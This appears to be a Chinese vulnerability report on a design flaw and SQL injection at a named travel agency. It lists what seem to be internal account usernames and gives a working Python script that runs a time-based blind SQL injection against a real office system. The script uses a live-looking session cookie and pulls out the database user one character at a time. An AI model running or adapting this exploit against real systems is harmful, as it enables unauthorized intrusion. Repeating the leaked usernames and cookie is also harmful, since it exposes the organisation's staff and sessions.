中国和平国旅某处存在设计缺陷及SQL注入涉及大量内部信息

boss
 chfjr0045
 cfcgj0046
 csbsj0048
 gtxgl089
 chljq0049
 chjzs0050
 cwzx0051
 ctmjq0052
 cqsjq0053
 clxjq0054
 cqjjq0047
 cyyfq0055
 cspy0056
 chyjq0057
 crdhyt0058
 ctsjq0059
 cyyjq0060
 HPP-241-ZJ
 HPP-236
 HPP-205

#encodeing=utf-8
 import requests
 import sys
 
 reload(sys)
 sys.setdefaultencoding('utf-8')
 
 headers = {
     'Cache-Control':'max-age=0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Upgrade-Insecure-Requests':'1','User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36','Accept-Encoding':'gzip, deflate, sdch','Accept-Language':'zh-CN,zh;q=0.8','Cookie':'ECM_ID=cae2aea666d92a1b2199913190638a845d89dfce; CNZZDATA4207530=cnzz_eid%3D2129055563-1457444942-null%26ntime%3D1457524204'
     }
 
 print "test..."
 
 user=""
 for i in range(1,17):
     for payload in range(32,128):
         print user
         aaa="--"
         d="if(ascii(substr(user(),%s,1))=%s,sleep(6),1)" % (i,payload)
         test = d + aaa
         #print test
         r=requests.get('http://office.hply.com/index.php?app=om&act=personal&id=156 and '+test,headers=headers)
         if r.elapsed.seconds>=6:
             payload=chr(payload)
             user += payload
             #print payload.strip()
             break
         else:
             pass
 print user